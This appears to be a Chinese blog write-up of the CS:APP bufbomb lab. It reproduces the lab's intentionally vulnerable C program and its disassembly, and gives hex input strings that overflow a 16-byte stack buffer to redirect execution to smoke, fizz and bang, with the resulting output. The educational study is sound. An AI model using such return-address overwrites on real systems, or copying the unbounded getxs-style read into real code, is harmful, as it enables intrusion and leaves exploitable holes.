`

csapp bufbomb实验

阅读更多

csapp (《深入理解计算机系统》)一书中有一个关于缓冲区溢出的实验,其程序代码如下:

/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <unistd.h>

/* Signal handler to catch bus errors */
void bushandler(int sig)
{
    printf("Crash!: You caused a bus error!\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Signal handler to catch segmentation violations */
void seghandler(int sig)
{
    printf("Ouch!: You caused a segmentation fault!\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Alarm handler to catch infinite loops */
static int alarm_time = 600;

void alarmhandler(int sig)
{
    printf("Dead!: getbuf didn't complete within %d seconds\n", alarm_time);
    printf("Better luck next time\n");
    exit(0);
}

/* Illegal instruction handler */
void illegalhandler(int sig)
{
    printf("Oops!: You executed an illegal instruction\n");
    printf("Better luck next time\n");
    exit(0);
}

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
	val = c - '0';
      else if ('A' <= c && c <= 'F')
	val = c - 'A' + 10;
      else
	val = c - 'a' + 10;
      if (even) {
	otherd = val;
	even = 0;
      } else {
	*sp++ = otherd * 16 + val;
	even = 1;
      }
    }
  }
  *sp++ = '\0';
  return dest;
}

int getbuf() {
	char buf[16];

	getxs(buf);
	return 1;
}

void test() {
	int val;

	printf("Type Hex String: ");
	val = getbuf();
	printf("getbuf returned 0x%x\n", val);
}

void smoke() {
	printf("Smoke: You called smoke()\n");
	exit(0);
}

void fizz(int val) {
	if (val == 0xdeadbeef) {
		printf("Fizz!: You called fizz (0x%x)\n", val);
	}
	else {
		printf("Misfire: You called fizz (0x%x)\n", val);
	}
	exit(0);
}

int global_value = 0;

void bang() {
	if (global_value == 0xdeadbeef) {
		printf("Bang!: You set global_value to 0x%x\n", global_value);
	}
	else {
		printf("Misfire: global_value = 0x%x\n", global_value);
	}
	exit(0);
}

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFFF);
  int *space = (int *) alloca(offset);

  *space = 0; /* So that don't get complaint of unused variable */

  signal(SIGSEGV, seghandler);
  signal(SIGBUS, bushandler);
  signal(SIGALRM, alarmhandler);
  signal(SIGILL,  illegalhandler);

  /* Set up time out condition */
  alarm(alarm_time);

  test();
  return 0;
}

 要求程序输出 Smoke!: You called smoke()

 

 

我所使用的系统环境(archlinux 2010.05, gcc 4.5.2, gdb 7.2, objdump(bintuils) 2.21):

该问题中关键的两个函数是test和getbuf,需要了解执行这两个函数的栈帧布局。

 

先运行

gcc -o bufbomb -g -Wall bufbomb.c
objdump -d bufbomb > bufbomb.s
这两条命令得到bufbomb.s,该文件中test和getbuf对应内容如下:

080486a6 <getbuf>:
 80486a6:	55                   	push   %ebp
 80486a7:	89 e5                	mov    %esp,%ebp
 80486a9:	83 ec 28             	sub    $0x28,%esp
 80486ac:	8d 45 e8             	lea    -0x18(%ebp),%eax
 80486af:	89 04 24             	mov    %eax,(%esp)
 80486b2:	e8 20 ff ff ff       	call   80485d7 <getxs>
 80486b7:	b8 01 00 00 00       	mov    $0x1,%eax
 80486bc:	c9                   	leave  
 80486bd:	c3                   	ret    

080486be <test>:
 80486be:	55                   	push   %ebp
 80486bf:	89 e5                	mov    %esp,%ebp
 80486c1:	83 ec 28             	sub    $0x28,%esp
 80486c4:	b8 ef 89 04 08       	mov    $0x80489ef,%eax
 80486c9:	89 04 24             	mov    %eax,(%esp)
 80486cc:	e8 63 fd ff ff       	call   8048434 <printf@plt>
 80486d1:	e8 d0 ff ff ff       	call   80486a6 <getbuf>
 80486d6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 80486d9:	b8 01 8a 04 08       	mov    $0x8048a01,%eax
 80486de:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>
 80486ed:	c9                   	leave  
 80486ee:	c3                   	ret    

 最左侧部分是汇编指令的内存地址,其中与    printf("getbuf returned 0x%x\n", val); 这一句对应的汇编语句为:

 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>

其中的printf指令地址为0x080486e8,由于intel处理器采用小端法表示,所以实际表示为e8860408

 

执行gdb bufbomb命令,在getbuf函数设置断点(用break getbuf)

执行run命令,程序跳转至getbuff,然后用info reg查看寄存器内容,得到ebp值为0xbffeffb8   

 

根据上面的反汇编结果可以知道,调用getbuf函数时的栈帧(假设是地址从高向低排列)表示如下:

 

---------------

 

-----------------

 

---------------

getbuf 返回地址

----------------

ebp

------------------

暂为空

-----------------

暂为空

----------------

buf[12]-buf[15]

----------------

buf[8]-buf[11]

----------------

buf[4]-buf[7]

----------------

buf[0]-buf[3]

-----------------

 

在从getbuf返回后,我们要求输出smoke函数内容,即将smoke的返回地址(0x080486ef,即ef860408)压入到getbuf所在地址处。因为smoke函数没有函数参数,所以不需要多余的处理.

接着运行bufbomb程序,提示输入字符串,我输入的字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf ef 86 04 08

输出结果为:Smoke: You called smoke()

其中前面24个字节为空(其实这些内容可以为任意值),接下来是ebp地址,它需要保持原来的内容。再然后是smoke函数的返回地址。

 

现在还没有完全完成所有的实验,还可以将返回地址设为fizz或者bang函数,然后也可以得到不同的输出结果。

例如,如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ,此时得到输出结果为:Misfire: You called fizz (0xb773bff4)

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 0d 87 04 08 ef be ad de ef be ad de
可以得到输出结果为:Fizz!: You called fizz (0xdeadbeef)

这个例子中使用了fizz的返回地址(0x0804870d,可以在上面的反汇编代码中找到fizz标记左侧的地址即是,还有fizz的形参的内容不做修改和修改为0xefbeadde时 的情况)

 

如果输入字符串为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 52 87 04 08 ,得到输出结果为Misfire: global_value = 0x0
如果输入字符串为00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 ff fe bf 64 87 04 08 ,得到输出结果为Bang!: You set global_value to 0x0
这个例子是直接跳转到bang的返回地址(0x08048752)或者printf(“Bang!: You set global_value to 0x0")语句对应汇编语句的首地址(0x08048764)

 

参考链接:

bufbomb lab assignment

缓冲区溢出攻击实验

ubuntu 9.10 缓冲区溢出实验

insecure programming

linux缓冲区溢出原理与对策

缓冲溢出分析

非安全编程演示之高级篇

buffer overflow on wikipedia

 

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics